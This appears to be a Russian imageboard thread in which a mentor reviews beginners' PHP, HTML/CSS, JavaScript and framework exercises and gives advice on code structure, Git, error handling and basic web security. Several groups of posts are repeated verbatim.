для (каждой строки по очереди) {
....
}
}
> Так же сколько не сидел в треде - не мог с версткой разобраться и с CSS дальше базовых знаний
Ты наверно наши задачи на HTML/CSS (в ОП посте) не прорешал, а зря, они хорошие, вот другие аноны наверно не проверяя в браузере CSS написать могут.
Ну и конечно тебе, как и другим, совет, развивайся дальше, верстка и натяжка шаблонов на джумлу подходит начинающему но всю жизнь заниматься такой примитивной работой не стоит.
>>544106
Нужно уметь решать задачи заказчиков. Открой фриланс-сайт (напрмиер frilansim.ru) или сайт с работой (hh.ru, geekjob) и почитай какие требования.
Ну и в Оп посте много заданий, можешь уже начинать изучать.
Для сайтов надо хорошо знать HTML/CSS/JS/SQL/PHP.
>>544115
Задача 3: все верно
Задача 4: так-то все верно, но вот я тебе не советую этот способ:
> letter-spacing : -.36em;
Это очень ненадежно и зависит от шрифта, так как в разных шрифтах размеры символов разные.Такая верстка это мина замедленного действия.
Также font-size:0 может не работать если в браузере ограничивается минимальный размер шрифта.
Лучше использовать способ с комментариями или написанием тегов вплотную.
>>544124
А ты сдай на проверку код. Ну а паскаль не рекомендую, он старый, никому не нужный да и делался не для практических задач, а для обучения. Если ты хочешь изучить еще какой-то язык то изучай актуальное, напиши что именно ты хочешь на нем писать, и я или аноны посоветуем что-нибудь.
>>544127
Микрофреймворки: slim, silex
Средние: Yii 2
Мощные: Symfony 2
>>544129
дельфи же умер 15 лет назад, кроме бывшего СССР на нем никто не пишет. Виндоприложения пишут на C# давно уже.
>>544142
Программы которые скачиваешь, ставишь и появляется иконка в меню пуск.
>>544148
С++ не для начинающих, быстро ты его не выучишь, а выучить поверхностно пользы не дает. Да и что на нем писать? Топовые игры? Браузеры? Вряд ли у анона хватит времени в одиночку сделать то что делают командами.
А для обычных приложений С++ все же медленный в написании, лучше другие языки использовать.
>>544153
Начинающему может и полезно, чтобы лучше осознать важность использования ООП, неймспейсов, композера, и MVC фреймворков и может даже тестов (кто хочет научиться писать тесты, у меня есть урок).
>>544219
Надо выводить так:
- все нулевые буквы всех строк
- перевод строки
- все первые буквы по очереди
И тд.
Попробуй циклы поменять местами.
Для (номера буквы от 0 до N) {
для (каждой строки по очереди) {
....
}
}
jQuery логичен и понятен если сначала изучить JS и DOM. дело не в ньюфажестве а в том что jQUery это обертка вокруг DOM и XHR функций, событий и надо научиться сначала их использовать напрямую.
learn.javascript.ru содержит нужную для обучения информацию. Ну и у нас в ОП посте есть хорошие задачки на JS.
>>544290
> Для юзеров отдельная таблица от файлов.
да
> В таблицу юзера тоже заносить куки?
Получается нехорошее дублирование. Я бы советовал сделать так: коды хранятся только в таблице пользователей. Для незалогиненных пользователей при первой загрузке файла генерируется кука и создается анонимный пользователь (который никак на сайте не отображается). При второй загрузке файла этот файл благодаря куке записывается тому же пользователю. А при регистрации мы просто добавляем в таблицу логин/пароль и все закачанные ранее файлы остаются в аккаунте.
То есть для каждого загруженного файла есть аккаунт, возможно анонимный.
Преимущества:
- используется один способ хранения и для зарегистрированных, и для незарегистрированных пользователей, проще база
- мы знаем кто что загрузил даже если он не зарегистрирован
- при регистрации ранее загруженные файлы не теряются, а оказываются в аккаунте пользователя
Так что советую тебе так сделать. Я вижу такую схему редко, а зря, она же удобнее для пользователя.
Сделать список массивом, какие поля разрешено редактировать. При обработке запроса от формы проходиться по этому списку, брать данные из POST и обновлять соответсвующее поле в модели.
Обновлять все поля которые пришли в POST небезопасно так как у нас могут быть какие-то поля которые пользователь сам менять не должен (ну например флаг модератора).
Также, ты читал комментарии к задаче и урок про работе с формами который там упомянут?
>>544293
Для каждой сущности свой маппер и модель разумеется.
>>544363
Не знаю, мануал на английском подробный, также можно попробовать почитать исходники.
>>544392
> метод getEnrollee возвращает массив с инфой
почему не модель? Чем массив лучше объекта?
> Но как реализовать метод update, принимать в качестве параметра поля или создать обьект enrollee и заполнить ему все свойства(кроме id и токен) а потом передать его в update.
Взять список разрешенный полей и обновить их в модели из POST.
>>544453
хорошо, но лучше бы сразу на гитхаб, там удобнее смотреть код
>>544523
Хороший повод начать: https://git-scm.com/book/ru/v1/%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D1%8B-Git
>>544586
Приведи пример маленькой программы где ошибка не выводится.
Возможно, display_errors надо ставить в php.ini
http://php.net/manual/ru/errorfunc.configuration.php#ini.display-errors
> Несмотря на то, что display_errors может быть установлена во время выполнения (функцией ini_set()), это ни на что не повлияет, если в скрипте есть фатальные ошибки.
(кстати я этого не знал. Но система обработки ошибок в PHP неправильная с начала и до конца)
Если ты знаком с ООП, то я бы также тебе советовал попробовать заменить все ошибки на исключения, как описано тут: https://gist.github.com/codedokode/65d43ca5ac95c762bc1a#Поддержка-исключений-везде
это сделает твой код гораздо надежнее, ну то есть он станет завершаться на первом же замечании.
Это называется принцип fail fast и он полезен: http://habrahabr.ru/post/218325/
Сделать список массивом, какие поля разрешено редактировать. При обработке запроса от формы проходиться по этому списку, брать данные из POST и обновлять соответсвующее поле в модели.
Обновлять все поля которые пришли в POST небезопасно так как у нас могут быть какие-то поля которые пользователь сам менять не должен (ну например флаг модератора).
Также, ты читал комментарии к задаче и урок про работе с формами который там упомянут?
>>544293
Для каждой сущности свой маппер и модель разумеется.
>>544363
Не знаю, мануал на английском подробный, также можно попробовать почитать исходники.
>>544392
> метод getEnrollee возвращает массив с инфой
почему не модель? Чем массив лучше объекта?
> Но как реализовать метод update, принимать в качестве параметра поля или создать обьект enrollee и заполнить ему все свойства(кроме id и токен) а потом передать его в update.
Взять список разрешенный полей и обновить их в модели из POST.
>>544453
хорошо, но лучше бы сразу на гитхаб, там удобнее смотреть код
>>544523
Хороший повод начать: https://git-scm.com/book/ru/v1/%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D1%8B-Git
>>544586
Приведи пример маленькой программы где ошибка не выводится.
Возможно, display_errors надо ставить в php.ini
http://php.net/manual/ru/errorfunc.configuration.php#ini.display-errors
> Несмотря на то, что display_errors может быть установлена во время выполнения (функцией ini_set()), это ни на что не повлияет, если в скрипте есть фатальные ошибки.
(кстати я этого не знал. Но система обработки ошибок в PHP неправильная с начала и до конца)
Если ты знаком с ООП, то я бы также тебе советовал попробовать заменить все ошибки на исключения, как описано тут: https://gist.github.com/codedokode/65d43ca5ac95c762bc1a#Поддержка-исключений-везде
это сделает твой код гораздо надежнее, ну то есть он станет завершаться на первом же замечании.
Это называется принцип fail fast и он полезен: http://habrahabr.ru/post/218325/
хуйня полная, пойду зенд учить.
Видимо надо в php.ini ставить чтобы работало.
>>544593
Так можно сказать про любую ОС. В данном случае ответ находится по этой ссылке и он не к убунте привязан: http://php.net/manual/ru/errorfunc.configuration.php#ini.display-errors
>>544618
Там просто при вызове метода он ищется сначала в текущем классе, потому в предке, потом в предке предка и так далее. То есть идем по цепочке, пока не найдем.
> я запускаю Bar::getName(), но фактически получаю вызов Foo::getName(), который не может достучаться до приватного свойства класса Bar, из-за чего выбрасывается ошибка.
Это пример кода за который бьют канделябром конечно. Так как код должен быть прост и понятен а не содержать капканы.
Похоже это из-за того что static соответствует вызванному классу (Bar), почитай про late static binding
На практике такое писать не придется никогда.
> если мы вызываем метод класса, сначала он ищется в данном классе, затем по цепочке в предках, и изнутри предка же и вызывается.
Это да, но тут пример долбанутый. Статические методы в праивльном ООП используются редко и особо надобности в static нет.
Что касается приватных полей и методов то они принадлежат только одному классу. Они недоступны из других классов (и невидимы там) потому метод Foo::getName() не может обратиться к полю из другого класса.
>>544714
Это точно ерунда.
>>544750
В считалке можно циклом обойтись без рекурсии. Не хочешь попробовать сделать?
Просто создаешь массив с номерами мест, и циклом удаляешь из него людей пока не останется сколько надо.
>>544828
А что мешает нехорошему человеку выложить файл на файлообменник, торрент или перезалить на свой сайт?
>>544873
Я обычно отвечаю по очереди, пропускаю большие задачи только если не успеваю. да и давно ли ты написал вопрос? день назад? Это нормальная задержка в нашем треде.
Не жди меня, решай пока дальше.
Видимо надо в php.ini ставить чтобы работало.
>>544593
Так можно сказать про любую ОС. В данном случае ответ находится по этой ссылке и он не к убунте привязан: http://php.net/manual/ru/errorfunc.configuration.php#ini.display-errors
>>544618
Там просто при вызове метода он ищется сначала в текущем классе, потому в предке, потом в предке предка и так далее. То есть идем по цепочке, пока не найдем.
> я запускаю Bar::getName(), но фактически получаю вызов Foo::getName(), который не может достучаться до приватного свойства класса Bar, из-за чего выбрасывается ошибка.
Это пример кода за который бьют канделябром конечно. Так как код должен быть прост и понятен а не содержать капканы.
Похоже это из-за того что static соответствует вызванному классу (Bar), почитай про late static binding
На практике такое писать не придется никогда.
> если мы вызываем метод класса, сначала он ищется в данном классе, затем по цепочке в предках, и изнутри предка же и вызывается.
Это да, но тут пример долбанутый. Статические методы в праивльном ООП используются редко и особо надобности в static нет.
Что касается приватных полей и методов то они принадлежат только одному классу. Они недоступны из других классов (и невидимы там) потому метод Foo::getName() не может обратиться к полю из другого класса.
>>544714
Это точно ерунда.
>>544750
В считалке можно циклом обойтись без рекурсии. Не хочешь попробовать сделать?
Просто создаешь массив с номерами мест, и циклом удаляешь из него людей пока не останется сколько надо.
>>544828
А что мешает нехорошему человеку выложить файл на файлообменник, торрент или перезалить на свой сайт?
>>544873
Я обычно отвечаю по очереди, пропускаю большие задачи только если не успеваю. да и давно ли ты написал вопрос? день назад? Это нормальная задержка в нашем треде.
Не жди меня, решай пока дальше.
это кстати произошло после того как я стим установил..
щас впадлу разбираться, что там не так.
вот сырая версия, в общем. Все пагинаторы и валидаторы я хотел потом в массивы и отдельные классы вынести, а не ifами, когда все уже бы работало.
https://github.com/toppestkek/TwigBlog
Получается, что таблица с пользователями будет содержать много пустых полей для анонимных юзеров (мейл, логин, пароль).
$link = mysqli_connect(
'localhost',
'username',
'passworld',
'databasename');
if ($link->set_charset("utf8")) {
printf("Ошибка при загрузке набора символов utf8: %s\n", $link->error);
} else {
printf("Текущий набор символов: %s\n", $link->character_set_name());
}
<html>
<body>
<html>
<head>
<title>title</title>
</head>
<body>
<a hfef="03.html" title="03.html">linkname2</a>
</body>
</html>
честно, не могу понять, где ошибка. В IE и хроме отображается просто как обычный текст. Файл 03.html, само собой, находится в той же папке, что и файл со ссылкой. В гугле не забанили, нет.
Yes
Наверное там соль конкатенируется с хешем и хранится в одной колонке в базе, а затем вырезается оттуда, если нужна проверка. Сам хеш ведь имеет постоянную длину, для sha1 это 40 символов.
При чём тут вообще длина хэша?
прост)
Допустим, на сервере стоит max_file_uploads 5, и я могу написать плашку типа "разрешено не более 5 файлов", но юзер все равно сможет выбрать сколько захочет. Понятно, что сервер лишние просто не примет, но тем не менее как-то нехорошо получается. Джаваскриптом не пускать лишние?
Убрать аттрибут multiple.
И сделай добавление инпутов по одному, как на почтотиваках типа мейла или гугла. ввиду плюсика или как еще
Сердиться будешь - себе дороже.
>>544871
>Приучи себя в учебных задачах пользоваться валидатором HTML кода. Есть много споров, должен ли код быть валидным или нет, так как ты пока учишься то для тебя ответ на этот вопрос «да», так что посмотри тут и исправь замечания:
>https://validator.w3.org/nu/?doc=http%3A%2F%2Fmaketi.esy.es%2F
>Вот также CSS validator: https://jigsaw.w3.org/css-validator/validator?uri=http%3A%2F%2Fmaketi.esy.es%2Fstyle%2Fstyle.css&profile=css3&usermedium=all&warning=1&vextwarning=&lang=ru
>Он немного ругается на вендорные префиксы, но тут ничего не поделать.
А я кстати даже и проверял частенько еще даже до того анона, который вежливо попросил "прогонять мою ебалу через валидатор", но только через второй, а там только префиксы были и все. А про первый валидатор я даже и не знал. Ошибки исправил, оказывается у меня было 4 закрывающих спана, а открывающих не было, во дела.
>Только больше не выравнивай код так странно, это нестандартно и только сбивает с толку.
Знаю. Но я говорил, что это с самого начала делал, когда еще не знал как правильно. Пробовал различные форматтеры, но все как один не только убирают ненужные пробелы, но и увеличивают количество строк в лучшем случае процентов на 10-20. Ну думаю, хватит того, что буду со следующей работы писать правильно.
>Старайся не использовать id в верстке, и не привязываться к номерам элементов (если только именно это и не требуется).
Я только за классы. Душа к ним изначально лежала.
>Ну и подучи синтаксис селекторов.
Ссылки сохранил. Пока пробежался быстренько, есть пара незнакомых моментов, а некоторые статьи наоборот я уже даже читал.
>Дальше, если есть желание, можно изучать JS (задачки в ОП треде) или по PHP что-нибудь делать.
Уже давно определился, что следующий шаг это яваскрипт, с учебником тоже определился ранее http://learn.javascript.ru/
Как я понял учить там нужно все. Ну и не проблема. Я не знаю насколько большой этот учебник, но раз надо, то выучу все, проблем с чтением литературы не имею.
>Ну и так как ты (судя по потраченному времени) увлекаешься HTML/CSS то советую почитывать иногда статьи об интересных возможностях этих технологий.
Я бы не сказал, что увлекаюсь, скорее хочу знать все. Тем более в начале мне было сказано, что фуллспековым программистом знающим и фронтэнд и бэкенд в любом случае быть лучше. Ну а время у меня пока есть, имею 2 года пока учусь в универе. Ну а дальше по специальности не пойду и буду пробовать устроиться программистом.
В общем, спасибо, ОП, что в некоторые моменты настаивал на том, чтобы я не забрасывал сложные вещи, а разбирался в них, они как это бывает, оказались не такими уж и сложными. Думаю дальше сам себя заставлять теперь буду после этого опыта. Лично меня ты не только верстке обучил.
Опять я пасту целую написал, ну что поделать, люблю поговорить.
Сердиться будешь - себе дороже.
>>544871
>Приучи себя в учебных задачах пользоваться валидатором HTML кода. Есть много споров, должен ли код быть валидным или нет, так как ты пока учишься то для тебя ответ на этот вопрос «да», так что посмотри тут и исправь замечания:
>https://validator.w3.org/nu/?doc=http%3A%2F%2Fmaketi.esy.es%2F
>Вот также CSS validator: https://jigsaw.w3.org/css-validator/validator?uri=http%3A%2F%2Fmaketi.esy.es%2Fstyle%2Fstyle.css&profile=css3&usermedium=all&warning=1&vextwarning=&lang=ru
>Он немного ругается на вендорные префиксы, но тут ничего не поделать.
А я кстати даже и проверял частенько еще даже до того анона, который вежливо попросил "прогонять мою ебалу через валидатор", но только через второй, а там только префиксы были и все. А про первый валидатор я даже и не знал. Ошибки исправил, оказывается у меня было 4 закрывающих спана, а открывающих не было, во дела.
>Только больше не выравнивай код так странно, это нестандартно и только сбивает с толку.
Знаю. Но я говорил, что это с самого начала делал, когда еще не знал как правильно. Пробовал различные форматтеры, но все как один не только убирают ненужные пробелы, но и увеличивают количество строк в лучшем случае процентов на 10-20. Ну думаю, хватит того, что буду со следующей работы писать правильно.
>Старайся не использовать id в верстке, и не привязываться к номерам элементов (если только именно это и не требуется).
Я только за классы. Душа к ним изначально лежала.
>Ну и подучи синтаксис селекторов.
Ссылки сохранил. Пока пробежался быстренько, есть пара незнакомых моментов, а некоторые статьи наоборот я уже даже читал.
>Дальше, если есть желание, можно изучать JS (задачки в ОП треде) или по PHP что-нибудь делать.
Уже давно определился, что следующий шаг это яваскрипт, с учебником тоже определился ранее http://learn.javascript.ru/
Как я понял учить там нужно все. Ну и не проблема. Я не знаю насколько большой этот учебник, но раз надо, то выучу все, проблем с чтением литературы не имею.
>Ну и так как ты (судя по потраченному времени) увлекаешься HTML/CSS то советую почитывать иногда статьи об интересных возможностях этих технологий.
Я бы не сказал, что увлекаюсь, скорее хочу знать все. Тем более в начале мне было сказано, что фуллспековым программистом знающим и фронтэнд и бэкенд в любом случае быть лучше. Ну а время у меня пока есть, имею 2 года пока учусь в универе. Ну а дальше по специальности не пойду и буду пробовать устроиться программистом.
В общем, спасибо, ОП, что в некоторые моменты настаивал на том, чтобы я не забрасывал сложные вещи, а разбирался в них, они как это бывает, оказались не такими уж и сложными. Думаю дальше сам себя заставлять теперь буду после этого опыта. Лично меня ты не только верстке обучил.
Опять я пасту целую написал, ну что поделать, люблю поговорить.
ОП, проверь пожалуйста.
https://github.com/never3ver/vector
Все переделал, кроме __clone. Я так понимаю, что мы помощью __clone переопределяем стандартный метод clone для одного или нескольких свойств объекта, правильно? В моем случае мне нужно в этот метод поместить код для клонирования объекта SplStorageObject, содержащего объекты сотрудников, и тут я просто не знаю что делать, гугл не помогает, мануал тоже, ничего не клонируется а тупо создается ссылка. Накидал как смог и закомментировал.
https://github.com/never3ver/vector/blob/master/Classes/Department.php#L16
На данный момент для получения правильного результата используется функция клонирования департамента.
> В моем случае мне нужно в этот метод поместить код для клонирования объекта SplStorageObject, содержащего объекты сотрудников, и тут я просто не знаю что делать, гугл не помогает, мануал тоже, ничего не клонируется а тупо создается ссылка
Если ты делаешь clone $employees то да, ты клоируешь объект Storage, но сотрудники в нем не клонируются. Потому надо создавать новый пустой Storage и по одному класть туда клоны сотрудников.
И разумеется да, надо делать все это в методе __clone чтобы стандартный оператор clone делал полноценную копию компании, департамента или работника.
Почему он танцует?
>надо создавать новый пустой Storage и по одному класть туда клоны сотрудников
Вот этого мне и не хватало. Спасибо, заработало. С __clone разобрался.
Смотрел некоторые cms, там такая дикая каша в коде, что разобраться с этим не представляется возможным.
Чем вообще занимаются разработчики на cms?
Пишут всякие планигы/модуля? Но зачем, если написаны уже тысячи готовых.
> Чем вообще занимаются разработчики на cms?
- устанавливают CMS
- задают разные настройки в админке
- натягивают верстку (чаще всего и верстку делают тоже они)
- устанавливают плагины
- ставят костыли в коде когда что-то не работает
- (реже) пишут свои плагины
По сути разработчиком на CMS обычно называют верстальщика со скиллами натягивания верстки.
Соответственно тебе надо установить эти CMS, пощупать, может почитать руководство пользователя, руководство по натяжке шаблонов (изготовлению тем), потом найти и запомнить 20 самых популярных плагинов к ним. Если ты хочешь писать свои плагины то почитать документацию для разработчиков.
Что бояться-то? CMS как раз расситаны на не умеющих программировать вообще.
> там такая дикая каша в коде
1) там обычно есть документация, на англ
2) нет, это у тебя слабые скиллы разбирательства в чужом коде
Алсо я нагуглил статью «85 лучших плагинов для вордпресс», раз их 85 то тебе надо знать 85, а не 20.
>у тебя слабые скиллы разбирательства в чужом коде
Есть такое. Хотя и код выглядит не аппетитно.
Мне почему-то легче расковырять фреймворк, чем разбираться в этой мешанине функций с неговорящими названиями, код внутри которых не связан логически.
Честно, писал на слиме и юи, все абсолютно понятно (хоть и не с первого раза) и вполне логично.
А cms не воспринимаю, наверное мне просто неинтересно этим заниматься.
Ты нас тут так приучил к ооп и красивым паттернам, что процедурный код теперь не лезет.
Ну ладно, если ты говоришь что все так легко, то выделю по две недели на wp и друпал, пригодятся первое время.
Я смотрю даже хорошие компании этим делом не брезгуют на безрыбье, просят знать.
Зря я на ночь пролистал вакансии. Если судить по требованиям, что там пишут, то тру-программисты уже рождаются с трехлетним опытом и знанием кучи технологий.
Я в общем хотел изначально выбрать тот редактор, на котором бы в дальнейшем серьезные работы писать, чтобы не переучиться на него потом, а начать сейчас в нем разбираться.
Я даже менюху точно из шаблона не смог на вп натянуть. Не все шаблоны можно натянуть на цмски прям вот точь в точь.
>Что бояться-то? CMS как раз расситаны на не умеющих программировать вообще.
Вот интересно, они вроде не рассчитаны, однако же ковырять их сложнее, чем такой же сайт из ТЗ заново на фреймворке написать.
Какого же было мое удивление, когда оказалось, что это AdBlock блокирует любые ресурсы, в названии которых присутствуют нехорошие слова (типа banner или ad). А я как раз делаю сайт объявлений, у меня половина файлов содержит такие стоп-слова. (Кажется, по английски "объявление" правильнее будет classified, но ad короче писать)
Кстати, ОП кажется призывал не пользоваться браузерными расширениями по каким-то параноидальным причинам.
Как же мне тогда рекламу резать? На минуту включил, так оно меня обвешало баннерами с дилдаками и предложениями слетать в Таиланд.
Тем не менее часто на CMS сделать сайт будет быстрее (и дешевле) с точки зрения бизнеса. Значит надо делать на CMS.
>>545524
Можем разобрать тут пример и поискать решение, но при условии что ты сначала прочел документацию или погуглил и что ты знаешь PHP (или JS если он нужен), то есть мы можем разобрать именно проблемы интеграции верстки в ВП, а не основы программирования. Основы программирования надо изучать по учебникам.
Так как в ВП шаблоны это PHP файлы то там можно засунуть любую логику и я проблем не вижу.
>>545526
Это как раз хорошо что ты обнаружил проблему, ведь ты иначе мог бы сделать неработающий у многих пользоваелей сайт. Ты должен смотреть интернет теми же средствами что и пользователи.
По поводу адблока мне как раз и не нравится эта всеядность, я считаю блокировать надо конкретные домены а не все что отдаленно напоминает рекламу.
Ну и у адблока есть еще недостатки, в фаерфоксе он тяжелый и жрет ресурсы не хуже самой рекламы (я помню был блогпост в блоге мозиллы на эту тему, он там очень неэффективно сделан, например внедряет огромные CSS правила в каждый фрейм). Ну и так как он массовый то его умеют обнаруживать сайты.
Я лично блокирую рекламу тем что отключил яваскрипт везде кроме нескольких сайтов где я им пользуюсь, а большинство рекламы без JS не работает. А, еще у меня в хромиуме нет флеша и опять же часть рекламы не работает. До этого сидел в обычном браузере и как-то реклама особо не раздражала. может быть потому что я не сижу на сомнительных сайтах. Еще до этого у меня была старая опера, которая тоже блокировала скрипты и всякие шпионящие домены типа google analytics.
Из минусов, некоторые (кривые) сайты могут вообще ничего не отображать, так как там показ контента завязан на JS. Увы, в Хромиуме нельзя отключить еще и CSS, чтобы увидеть сам текст без скрывающих его стилей.
> Кстати, ОП кажется призывал не пользоваться браузерными расширениями по каким-то параноидальным причинам.
Ты можешь пользоваться если полностью доверяешь автору. Так как расширение это бекдор который имеет полный доступ ко всему что ты видишь и пишешь в браузере, а также возможно оно может устанавливать программы на сам компьютер (работающие вне пределов браузера). Никакой системы безопасности там нет, все чисто на доверии что автор не будет делать ничего плохого. Так что ставь но на свой страх и риск. И не заходи со включенными расширениями в интернет-банки и подобные сайты.
Тем не менее часто на CMS сделать сайт будет быстрее (и дешевле) с точки зрения бизнеса. Значит надо делать на CMS.
>>545524
Можем разобрать тут пример и поискать решение, но при условии что ты сначала прочел документацию или погуглил и что ты знаешь PHP (или JS если он нужен), то есть мы можем разобрать именно проблемы интеграции верстки в ВП, а не основы программирования. Основы программирования надо изучать по учебникам.
Так как в ВП шаблоны это PHP файлы то там можно засунуть любую логику и я проблем не вижу.
>>545526
Это как раз хорошо что ты обнаружил проблему, ведь ты иначе мог бы сделать неработающий у многих пользоваелей сайт. Ты должен смотреть интернет теми же средствами что и пользователи.
По поводу адблока мне как раз и не нравится эта всеядность, я считаю блокировать надо конкретные домены а не все что отдаленно напоминает рекламу.
Ну и у адблока есть еще недостатки, в фаерфоксе он тяжелый и жрет ресурсы не хуже самой рекламы (я помню был блогпост в блоге мозиллы на эту тему, он там очень неэффективно сделан, например внедряет огромные CSS правила в каждый фрейм). Ну и так как он массовый то его умеют обнаруживать сайты.
Я лично блокирую рекламу тем что отключил яваскрипт везде кроме нескольких сайтов где я им пользуюсь, а большинство рекламы без JS не работает. А, еще у меня в хромиуме нет флеша и опять же часть рекламы не работает. До этого сидел в обычном браузере и как-то реклама особо не раздражала. может быть потому что я не сижу на сомнительных сайтах. Еще до этого у меня была старая опера, которая тоже блокировала скрипты и всякие шпионящие домены типа google analytics.
Из минусов, некоторые (кривые) сайты могут вообще ничего не отображать, так как там показ контента завязан на JS. Увы, в Хромиуме нельзя отключить еще и CSS, чтобы увидеть сам текст без скрывающих его стилей.
> Кстати, ОП кажется призывал не пользоваться браузерными расширениями по каким-то параноидальным причинам.
Ты можешь пользоваться если полностью доверяешь автору. Так как расширение это бекдор который имеет полный доступ ко всему что ты видишь и пишешь в браузере, а также возможно оно может устанавливать программы на сам компьютер (работающие вне пределов браузера). Никакой системы безопасности там нет, все чисто на доверии что автор не будет делать ничего плохого. Так что ставь но на свой страх и риск. И не заходи со включенными расширениями в интернет-банки и подобные сайты.
>может быть потому что я не сижу на сомнительных сайтах
У меня в почтовом ящике от яндекса все облеплено рекламой. И главное суки неприкрыто читают письма и выбирают оттуда ключевые слова для подбора тематики.
Гмейл тоже следит за мной? Как быть? Где завести надежный ящик?
А я почту читаю через Thunderbird, а не сайт. Рекламы там разумеется нет, open source. Но когда я в последний раз был в яндекс-почте, там вроде терпимая реклама, не навязчивая. А в гугле по моему вообще просто одна строчка которая по моему отключается в настройках.
Если ты везде видишь именно навязчивую рекламу, стоит проверить нет ли у тебя вирусов, вредоносных браузерных расширений которые ее подсовывают, не заражен ли роутер.
$app->render('Header.php', compact('app'));
$app->run();
$app->render('Footer.php', compact('app'));
Дешевле и быстрее только если ты сам по своему усмотрению делаешь (т.е. тупо интернет-магазин и похуй какой дизин и функционал у него будут, стандартную тему для магазина из джумолы просто берешь и все, чтобы вообще во вьюхи и бэкенд не лезть), а если тебе дают макет и ебанутое ТЗ, то проще на фреймворках с нуля ящитаю.
class Cookie {
public function __Construct($app){
$cookieToken = new Token();
$cookieKey=$cookieToken->generatePassword(8);
$app->setCookie('username', $cookieKey, time()+86400*4); //setting cookies 86400 = 1 day
}
Полностью безопасно ли будет напрямую добавлять запись как-то так:
$newUser = new User();
$newUser->name = Yii::$app->request->post("name");
$newUser->save();
Гугли рули:
https://github.com/yiisoft/yii2/blob/master/docs/guide/input-validation.md
https://github.com/yiisoft/yii2/blob/master/docs/guide/tutorial-core-validators.md
>плейсхолдеры
для дефалтного значения вот так:
public function rules() {
return [["name", "default", "value" => "ophui"]];
}
Блджад, но я о другом же совсем.
Правила я вообще не рассматриваю сейчас, как и валидацию (у меня вообще в примере новая запись создаётся).
И про плесхолдеры я другие спрашиваю, куда ты лезешь-то?
>у меня вообще в примере новая запись создаётся
Ну правильно, в твоём примере ты создаёшь новую запись, присваиваешь полю name хуй знает что из юзер инпута, возможно null, потом сохраняешь запись. Типа если был null, будет подставлено значение по умолчанию из правила.
>И про плесхолдеры я другие спрашиваю
Во вьюхе что-ли? Но плейсхолдер до жопы, если юзер ничего не ввёл - получишь null. Если default value - получишь его.
echo "ruletochka da ili net? \n";
$lol = rand(1,2);
if ($lol = 1) {
\techo "moi otvet..da";
} else {
\techo "moi otvet..net";
}
Бля, поспешил. На 13 месяц должен быть последним. Отдать должен 60264~ рубля. Доделываю.
Да не о том я. Я про безопасность, про инъекции, похуй на нулл.
И про плейсхолдеры в том же контексте - http://www.yiiframework.com/doc/guide/1.1/ru/database.dao#sec-6
По логике должен. Но лучше не полагаться на логику, а открыть код (что тебе бы стоило попробовать сделать).
save() вызывает insert или update, рассмотрим insert:
https://github.com/yiisoft/yii/blob/master/framework/db/ar/CActiveRecord.php#L1070
Он вызвыает createInsertCommand, который находится тут:
https://github.com/yiisoft/yii/blob/24539dd94dc86e2b4a966975e2f5029bcb20949d/framework/db/schema/CDbCommandBuilder.php#L208
Там видно что используются плейсхолдеры.
>>545660
Он спрашивал не про валидацию параметров из формы.
Спасибо, толковый анон, буду смотреть исходники впредь.
>Ты наверно наши задачи на HTML/CSS (в ОП посте) не прорешал, а зря, они хорошие, вот другие аноны наверно не проверяя в браузере CSS написать могут.
Делал начальные, но не было особой мотивации, так как более интересно было всё же чистое пхп. Сейчас вот стал знакомиться по работе с jquery, и влюбился с первого взгляда, начну изучать.
После parentElement.appendChild запросто.
Что не так?
сделал считалку без рекурсии http://ideone.com/QuAv3r Странно что я сразу не увидел этого решения, а решал ее через рекурсию, еще подскажи что можно прочесть для лучшего понимания того как правильно создавать и организовывать рекурсивные функции а то у меня от них уж больно сильно голова пухнет
вот что получилось, застрял, ни как не могу дальше продвинуться, пытался обрабатывать исключения но все мои попытки не к чему не привели, http://ideone.com/7gGwfJ
> задача "Клавиша Shift"
> $result[$i] = $first . $last . ".";
> $i++;
Можно (нужно) писать $result[] = ... и индекс для массива сгенерируется автоматически.
> ,|[.!?]
то же самое что [,.!?]
> (\\s+)?
То же самое что \\s☆
В остальном верно
> Правильное ли решение добавлять счетчик к массиву?
Нет, лучше использовать $x[] = ...
> задача "Yoda Speak"
> [\\s]|[,]|[;]
можно записать как [\\s,;]
В остальном верно.
>>544879
Советую показывать код как можно раньше — меньше переделывать придется ведь.
> задача "Клавиша Shift"
> $result[$i] = $first . $last . ".";
> $i++;
Можно (нужно) писать $result[] = ... и индекс для массива сгенерируется автоматически.
> ,|[.!?]
то же самое что [,.!?]
> (\\s+)?
То же самое что \\s☆
В остальном верно
> Правильное ли решение добавлять счетчик к массиву?
Нет, лучше использовать $x[] = ...
> задача "Yoda Speak"
> [\\s]|[,]|[;]
можно записать как [\\s,;]
В остальном верно.
>>544879
Советую показывать код как можно раньше — меньше переделывать придется ведь.
Для начала разберемся с файловой структурой (я бы еще репозиторий переименовал конечно).
holder.png —> надо переложить в папку картинок, например images
nbproject -> убрать из репозитория, закоммитить, добавить в гитигнор, вернуть (гитигнор: https://git-scm.com/book/ru/v1/%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D1%8B-Git-%D0%97%D0%B0%D0%BF%D0%B8%D1%81%D1%8C-%D0%B8%D0%B7%D0%BC%D0%B5%D0%BD%D0%B5%D0%BD%D0%B8%D0%B9-%D0%B2-%D1%80%D0%B5%D0%BF%D0%BE%D0%B7%D0%B8%D1%82%D0%BE%D1%80%D0%B8%D0%B9 )
bootstrap, jasny-bootstrap — должен остаться только один, лучше переместить его в папку например styles или static, также ничего не правь в сторонних библиотеках
Slim, tests — непонятно зачем тут эти папки из Слима. Ты смешал в кучу свой код и сторонний и как теперь понять, где что? Все, что относится к Слиму надо вынести в отдельную папку, например third-party/slim, а еще лучше установить его через композер. Это же вторая задача, пора уже научиться пользоваться композером. Статей в интернете полно, и на русском, и на английском.
Также, чтобы пользоваться композером, надо знать командную строку, у меня есть гайд: https://gist.github.com/codedokode/10539568
В задании про композер написано: https://gist.github.com/codedokode/9424217
uploads — надо внести содержимое в гитигнор, но саму папку оставить в репозитории (для этого можно поместить в нее файл .placeholder и закоммитить его, и для него сделать исключение в гитигноре. Гит управляет только файлами и в нем нельзя добавить пустую папку).
Еще насчет файлов, есть такой подход когда весь код выносится за пределы корневой папки веб-сервера. То есть мы делаем допустим папку public, в нее кладем index.php, стили, скрипты, а все что пользователю видеть не положено, выносим за ее пределы. Это повышает безопасность, так как не позволяет скачать какие-то посторонние файлы снаружи. Не хочешь попробовать сделать? Придется только в конфиге Апача путь к папке поменять.
Теперь посмотрим базу данных
> `name` varchar(255) COLLATE utf8_bin NOT NULL,
